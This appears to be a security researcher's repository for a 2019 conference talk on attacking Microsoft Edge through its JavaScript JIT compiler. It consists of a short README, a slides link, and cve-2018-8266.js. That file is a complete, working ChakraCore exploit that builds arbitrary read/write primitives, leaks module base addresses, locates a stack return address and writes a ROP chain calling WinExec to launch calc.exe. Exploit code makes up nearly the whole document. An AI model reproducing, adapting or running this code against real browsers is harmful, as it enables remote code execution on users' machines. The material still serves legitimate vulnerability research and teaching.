├── README.md ├── cve-2018-8266.js └── pres.pdf /README.md: -------------------------------------------------------------------------------- 1 | # Attacking-Edge-Through-the-JavaScript-Compiler 2 | 3 | 4 | presentation I gave at BlueHatIL 2019 and OffensiveCon 2019 5 | -------------------------------------------------------------------------------- /cve-2018-8266.js: -------------------------------------------------------------------------------- 1 | 2 | // exploit for commit d1dc14e91fc96130f3fab734c3b5121ba2368e3d 3 | var convert = new ArrayBuffer(0x100); 4 | var u32 = new Uint32Array(convert); 5 | var f64 = new Float64Array(convert); 6 | 7 | var scratch = new ArrayBuffer(0x100000); 8 | var scratch_u8 = new Uint8Array(scratch); 9 | var scratch_u32 = new Uint32Array(scratch); 10 | var BASE = 0x100000000; 11 | log = print; 12 | 13 | function hex(x) { 14 | return `0x${x.toString(16)}` 15 | } 16 | 17 | function bytes_to_u64(bytes) { 18 | return (bytes[0]+bytes[1]*0x100+bytes[2]*0x10000+bytes[3]*0x1000000 19 | +bytes[4]*0x100000000+bytes[5]*0x10000000000); 20 | } 21 | 22 | function i2f(x) { 23 | u32[0] = x % BASE; 24 | u32[1] = (x - (x % BASE)) / BASE; 25 | return f64[0]; 26 | } 27 | 28 | function f2i(x) { 29 | f64[0] = x; 30 | return u32[0] + BASE * u32[1]; 31 | } 32 | 33 | // Exploit 34 | 35 | // create an object and set 9 properties to it so that the type handler has records for these offsets 36 | obj = {} 37 | obj.a = 13.37; 38 | obj.b = 1; 39 | obj.c = 2; 40 | obj.d = 3; 41 | obj.e = 4; 42 | obj.f = 5; 43 | obj.g = 6; 44 | obj.h = 7; // this will correspond to the offset of target->buffer 45 | obj.i = 8; 46 | 47 | target = new ArrayBuffer(0x200); 48 | newL = 0x1000; 49 | // victim function which we will JIT 50 | function opt(o) { 51 | var inline = function() { 52 | o.b = o.b; 53 | o.e = target; // [[ 1 ]] 54 | }; 55 | o.a = "HELLO"; 56 | 57 | for (var i = 0; i < 10000; i++) { 58 | inline(); 59 | o.a = obj; 60 | } 61 | } 62 | 63 | Math.acos({}); 64 | 65 | // Ready to pwn :) 66 | function pwn() { 67 | 68 | for (var i = 0; i < 160; i++) { 69 | opt({ 70 | a:1.1, 71 | b:2.2, 72 | c:3.3, 73 | }); 74 | } 75 | 76 | opt({ 77 | a:1.1, 78 | b:2.2, 79 | c:3.3, 80 | d:4.4, 81 | }); 82 | // obj->auxSlots is now [[ 1 ]] which is target 83 | 84 | hax = new ArrayBuffer(0x2000); // create second array buffer variable 85 | hax_view = new Uint32Array(hax); // set some marker values to prove we have an arbitrary R/W 86 | cmd_view = new Uint8Array(hax); 87 | hax_view[0] = 0xdeadbeef; 88 | hax_view[1] = 0x13371337 89 | 90 | obj.h = hax; // set target->buffer to hax 91 | obj.i = newL; // update target's length 92 | 93 | 94 | view1 = new Uint32Array(target); // we can use these views to read and write inside hax meta-data 95 | view2 = new Float64Array(target); 96 | view3 = new Uint8Array(target); 97 | 98 | log("[+] vtable pointer is " + hex(f2i(view2[0]))); 99 | 100 | base = f2i(view2[0]) - 0x586bc8; 101 | log("[+] chakracore.dll @ " + hex(base)); 102 | buffer_addr = f2i(view2[7]); 103 | log("[+] ArrayBuffer internal buffer @ " + hex(buffer_addr)); 104 | let cmd = "C:\\Windows\\SysWOW64\\calc.exe"; 105 | for (let i = 0; i < cmd.length; ++i) { 106 | cmd_view[0x1a00 + i] = cmd.charCodeAt(i); 107 | } 108 | cmd_view[0x1a00 + cmd.length] = 0; 109 | 110 | let read = function(where) { 111 | view2[7] = i2f(where); // setup hax->buffer 112 | tmp = new Float64Array(hax) 113 | return f2i(tmp[0]); // return (int64) hax->buffer[0] 114 | } 115 | 116 | let write = function(what, where) { 117 | // same concept as read 118 | view2[7] = i2f(where); // setup hax->buffer 119 | tmp = new Uint32Array(hax); 120 | tmp[0] = what % BASE; 121 | tmp[1] = what / BASE; 122 | } 123 | 124 | write(0x414141414141, buffer_addr + 40); 125 | if (read(buffer_addr + 40) !== 0x414141414141) { 126 | throw null; 127 | } 128 | 129 | // RW primitives are now good to go; 130 | 131 | ntdll_addr = read(base + 0x4F0000); 132 | ntdll_base = ntdll_addr - 0x4cde0; 133 | kernel32_base = read(base + 0x4F0000 + 0x48) - 0x15da0; 134 | winexec_addr = kernel32_base + 0x5f0e0; 135 | log("[+] ntdll address: " + hex(ntdll_addr)); 136 | log("[+] ntdll base @ " + hex(ntdll_base)); 137 | log("[+] kernel32 base @ " + hex(kernel32_base)); 138 | log("[+] WinExec @ " + hex(winexec_addr)); 139 | 140 | threadctx_global_addr = base + (0x7ffeef086728 - 0x7ffeeea40000); 141 | threadctx = read(threadctx_global_addr); 142 | log("[+] &thread context @ " + hex(threadctx_global_addr)); 143 | log("[+] thread context ptr @ " + hex(threadctx)); 144 | stack = read(threadctx + 0xc8) + 0xf0000; 145 | log("[+] stack limit: " + hex(stack)); 146 | 147 | //ret_addr = base + 0x4a644b; 148 | ret_addr = base + 0x4a38f6; 149 | 150 | var found = false; 151 | for (var i = 0; i < 0x10000; i++) { 152 | if (read(stack) == ret_addr) { 153 | log("[+] Found return address on stack"); 154 | found = true; 155 | break; 156 | } 157 | stack += 8; 158 | } 159 | 160 | if (!found) throw null; 161 | 162 | jmp_virtual_protect = read(base + 0x4f0160); 163 | pop_rdi_rsi_rbx = base + 0x112932; 164 | log("[+] Virtual Protect Gadget @ " + hex(jmp_virtual_protect)); 165 | 166 | let ropchain = function(gadget, ...args) { 167 | write(gadget, stack); 168 | stack += 8; 169 | for (let i = 0; i < args.length; ++i) { 170 | write(args[i], stack); 171 | stack += 8; 172 | } 173 | } 174 | jmp_virtual_protect = read(base + 0x4f0160); 175 | pop_rsp_rbx_rbp = base + 0x5f77a; 176 | pop_rcx = base + 0x14778; 177 | pop_rdx = base + 0x1aa375; 178 | pop_rsp = base + 0xf9764; 179 | 180 | ropchain(pop_rsp_rbx_rbp, buffer_addr + 0x1000); 181 | write(0xdead4141, buffer_addr+0x1000); 182 | write(buffer_addr + 0x1800, buffer_addr+0x1008); 183 | 184 | write(pop_rcx, buffer_addr+0x1010); 185 | write(buffer_addr + 0x1a00, buffer_addr+0x1018); 186 | 187 | write(pop_rdx, buffer_addr+0x1020); 188 | write(5, buffer_addr+0x1028); 189 | 190 | write(winexec_addr, buffer_addr+0x1030); 191 | write(0xdeadead, buffer_addr+0x1038); 192 | 193 | } 194 | 195 | pwn(); 196 | -------------------------------------------------------------------------------- /pres.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bkth/Attacking-Edge-Through-the-JavaScript-Compiler/cf7e6431b6e5e15f5aa93644d39252a54c88a344/pres.pdf --------------------------------------------------------------------------------